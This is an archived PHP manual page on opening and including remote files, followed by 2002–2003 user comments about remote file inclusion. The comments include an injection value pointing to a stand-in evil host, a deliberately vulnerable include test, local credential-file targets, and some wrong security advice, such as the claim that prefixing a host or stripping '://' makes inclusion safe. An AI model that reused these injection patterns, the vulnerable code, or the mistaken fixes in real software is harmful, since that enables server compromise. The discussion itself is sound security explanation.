PHP  
downloads | documentation | faq | getting help | mailing lists | reporting bugs | php.net sites | links | my php.net 
search for in the  
<PUT method supportConnection handling>
view the version of this page
Last updated: Thu, 21 Aug 2003

Chapter 19. Using remote files

As long as allow_url_fopen is enabled in php.ini, you can use HTTP and FTP URLs with most of the functions that take a filename as a parameter. In addition, URLs can be used with the include(), include_once(), require() and require_once() statements. See Appendix I for more information about the protocols supported by PHP.

Note: In PHP 4.0.3 and older, in order to use URL wrappers, you were required to configure PHP using the configure option --enable-url-fopen-wrapper.

Note: The Windows versions of PHP earlier than PHP 4.3 did not support remote file accessing for the following functions: include(), include_once(), require(), require_once(), and the imagecreatefromXXX functions in the Reference XL, Image functions extension.

For example, you can use this to open a file on a remote web server, parse the output for the data you want, and then use that data in a database query, or simply to output it in a style matching the rest of your website.

Example 19-1. Getting the title of a remote page

<?php
$file = fopen ("http://www.example.com/", "r");
if (!$file) {
    echo "<p>Unable to open remote file.\n";
    exit;
}
while (!feof ($file)) {
    $line = fgets ($file, 1024);
    /* This only works if the title and its tags are on one line */
    if (eregi ("<title>(.*)</title>", $line, $out)) {
        $title = $out[1];
        break;
    }
}
fclose($file);
?>

You can also write to files on an FTP server (provided that you have connected as a user with the correct access rights). You can only create new files using this method; if you try to overwrite a file that already exists, the fopen() call will fail.

To connect as a user other than 'anonymous', you need to specify the username (and possibly password) within the URL, such as 'ftp://user:password@ftp.example.com/path/to/file'. (You can use the same sort of syntax to access files via HTTP when they require Basic authentication.)

Example 19-2. Storing data on a remote server

<?php
$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");
if (!$file) {
    echo "<p>Unable to open remote file for writing.\n";
    exit;
}
/* Write the data here. */
fputs ($file, $_SERVER['HTTP_USER_AGENT'] . "\n");
fclose ($file);
?>

Note: You might get the idea from the example above that you can use this technique to write to a remote log file. Unfortunately that would not work because the fopen() call will fail if the remote file already exists. To do distributed logging like that, you should take a look at syslog().



add a note add a note User Contributed Notes
Using remote files
webmaster at elcurriculum dot com
17-Oct-2003 07:35
This function get HTML source from url. Follow all locations to last site. Ideal for Search Engine.

$url = web site to explore.
$delta = last url from location
$corto = if corto is true stop function when the tag is <body>. (This is for get metatags and title).
$complet = if complet is true return all body of page. Else return only $delta. (This is for get redirect from image: <img src=http://www.solobanner.com/index.php>)

function GetHTML ($url, &$delta, $corto = false, $complet = true) {
  $url_stuff = parse_url($url);
  $fp = fsockopen ($url_stuff['host'], 80, $errno, $errstr, 30);
  if (!$fp) {
    exit;
  } else {
    $header = "GET " . $url_stuff['path'] . "?" . $url_stuff['query'] ;
    $header = $header . " HTTP/1.0\r\nHost: " . $url_stuff['host'] . "\r\n\r\n";
    fputs ($fp, $header);
    //Separar contenido...
    $header = '';
    $body = '';
    $act = false;
    $fin = false;
    while ((!feof($fp)) && !$fin) {
       $line = fgets ($fp,1024);
       if (!$act) {
        if (strpos($line, "\r\n", 0) == 0) {
           $header .= $line;
           if (!$complet) $fin = true;
             $act = true;
           } else {
             $header .= $line;
           }
        } else {
         if ($corto) {
           if (eregi ("<body([^>]*)>", $line, $o)) $fin = true;
         }
        if (!$fin) $body = $body . $line;
       }
    }
       
    //Seguir location...
    $ret = strpos($header, "Location:", 0);
      if ($ret !== false) {
      $fin = strpos($header, "\r\n", $ret +9);
      $nueva = substr($header, $ret+9, $fin - $ret - 9);
      $body = GetHTML($nueva, $delta, $corto, $complet);
     } else {
      $delta = $url;
    }

    fclose ($fp);
 }

 return $body;
}

Example:
$url = "http://www.elcurriculum.com/banner/go.php?from=1&to26";
echo GetHTML($url,$a,true);
echo "<br>Go to url: $a";

By Tryke. (Jose María Rodríguez Valls).
http://www.elcurriculum.com
http://www.solobanners.com
geoffrey at nevra dot net
05-Aug-2003 07:25
ok, here is the story:

I was trying to download remote images, finding urls throught apache indexs with regexps and fopen()ing them to get the datas. It didn't work. I thought about binary considerations. Putting the 'b' in the second argument of fopen didn't help much, my browser still didn't want to display the images. I finally understood by watching the datas i was getting from the remote host: it was an html page ! hey, i didn't know apache sent html pages when requesting images, did you ?
the right way is then to send an http request via fsockopen. Here comes my second problem, using explode("\n\n", $buffer); to get rid of the headers. The right way is to get the value of the Content-Lenght field and use it in substr($buffer, -$Content-Lenght);

finally, here is my own function to download these files:

function http_get($url)
{

    $url_stuff = parse_url($url);
    $port = isset($url_stuff['port']) ? $url_stuff['port'] : 80;

    $fp = fsockopen($url_stuff['host'], $port);

    $query  = 'GET ' . $url_stuff['path'] . " HTTP/1.0\n";
    $query .= 'Host: ' . $url_stuff['host'];
    $query .= "\n\n";

    fwrite($fp, $query);

    while ($tmp = fread($fp, 1024))
    {
        $buffer .= $tmp;
    }

    preg_match('/Content-Length: ([0-9]+)/', $buffer, $parts);
    return substr($buffer, - $parts[1]);

}

ho, maybe you'll say i could have parsed the page to get rid of the html stuff, but i wanted to experience http a little ;)
jules at acris dot co dot uk
10-Jul-2003 10:08
Note that in the last example, you could still request a dodgy file from the local server.  For instance, /etc/passwd may allow you to get some encrypted passwords to run a cracking attempt against...  /var/lib/mysql/mysql/user.MYD may also be a target for this kind of thing if you run mysql.
robro at compsoc dot nuigalway dot ie dot nospam
14-Jan-2003 10:37
The easiest way I'd see around the security hold mentioned above would be to turn off allow_url_fopen, using ini_set.

If that is not acceptable you can simply str_replace out the :// part that seperates the protocol from the address.

include( str_replace("://", "", $whatever) );

should do the trick.
buht at mail dot ru
10-Dec-2002 07:16
I`ve read all that You say and try to do next two simple files.
First file make include throught Web:
<?php
include('http://YourTempAddress/test.php');
?>

Second File (test.php) make output as html, but result is the new php script:
<?
echo "<?\$ip=getenv('REMOTE_HOST');echo \"IP=\$ip;\";?>";
?>

That work perfectly without searching of server that does not support of php scripts but allow to store php files on it. Extention is also not important.
So that is more secure to reject using of including through Web.
But know somebody any other possibility to include a document as it from another URL using php?
ohlesbeauxjours at yahoo dot fr
04-Dec-2002 12:43
In reply to Vlad who mentionned a problem with PHP version 4.2.3 :
require "http://www.somewhere.org/somepage.php";
... worked fine for me.
But note that I had to ask my web host supplier to configure its proxy server so that the IP for "www.somewhere.org" can be accepted for http requests.
Otherwise, if you don't desactivate that security mechanism on the web server, you won't see any warning or error messages when you execute your script, but only a "blocked" page, stopped at the instruction "require("http://...)"
php at jerde dot net
06-May-2002 04:22
You must be VERY careful if you allow a variable to control the URL of an include()ed file.

A previous poster suggested:
include("http://www.php.net/".$HTTP_GET_VARS["url"]);

This, however, won't work in all cases. For example, set the variable to "@www.evil-site.dom/evil-code.phps"

Your carefully constructed pre-URL is now sent merely as a username to the attacker's web site.

Stripping out "@" and ":" would be a good idea, and THEN you'd probably be safe.

 - Peter Jerde
Minneapolis, Minnesota, USA
klaus at netlibrary dot de
02-May-2002 11:08
In my experience, I cannot agree with Toby. Scripts can indeed be run through remotely included files. All that needs to be done is put the PHP script into an HTML or other file that is not parsed by the remote server.

This theoretically enables a malicious scripter to attack using a series of steps. For example, a simple .htm file with the content

<?php
echo phpinfo();
?>

will give quite a bit of information about the local system and possibly will give enough information to wreak havoc in the server's file system. If you would like to try this out, create an 'includetest.php' in a protected directory on your server with the content

<?php
include $inc;
?>

Pass the file to be included as 'includetest.php?inc=http://netlibrary.de/include.htm'
The page is on one of my less used servers and can be accessed with any browser to show that it is simply the phpinfo() command I described above.

I have tested this on 3 servers, all running PHP < 4.2.0, and unless this was fixed in the latest release, it still works.
toby at butzon dot com
19-Apr-2002 07:15
It's important to understand that remote files included/required into your script are NOT run on your server (as previous posts have suggested).

Think about it this way: When I do this:

<?php include('http://www.example.com/some-include.php'); ?>

..I'm actually asking PHP to make a separate HTTP request (just as your Web browser would) to www.example.com. So, point your browser to that location. Do you see any PHP code? No. You will only see HTML/text content.

(On the off chance that .php wasn't associated with the PHP module/binary, the code would only be displayed. Thus, you would have to TRY to make a dangerous include scenario -- such as eval()'ing a remoted included file specified by the user.)

Therefore, although this code may be vulnerable to an "untrustworthy information" attack (where the information displayed by your Web site isn't actually information you endorse, even though the information is ultimately transferred from your Web server), you are NOT vulnerable to malicious access to your Web server resources, even if visitors can specify any remote server/file that they please.
christer at frostmo dot com
04-Apr-2002 10:21
The easiest solution to this security risk is, in my oppinion, to add a host string in front of the url specified in the url adress.

example:

<html>
<head><title>php.net</title></head>
<body>

<?php
include("http://www.php.net/".$HTTP_GET_VARS["url"]);
?>

</body>
</html>

yup =) It's impossible to include() an page from another server.

Regards,

Christer Frostmo
Norway
www.frostmo.com

<PUT method supportConnection handling>
 Last updated: Thu, 21 Aug 2003
show source | credits | sitemap | mirror sites 
Copyright © 2001-2003 The PHP Group
All rights reserved.
This mirror generously provided by: http://php.mirrors.ilisys.com.au/
Last updated: Sat 01 Nov 2003 04:13:36 EST EST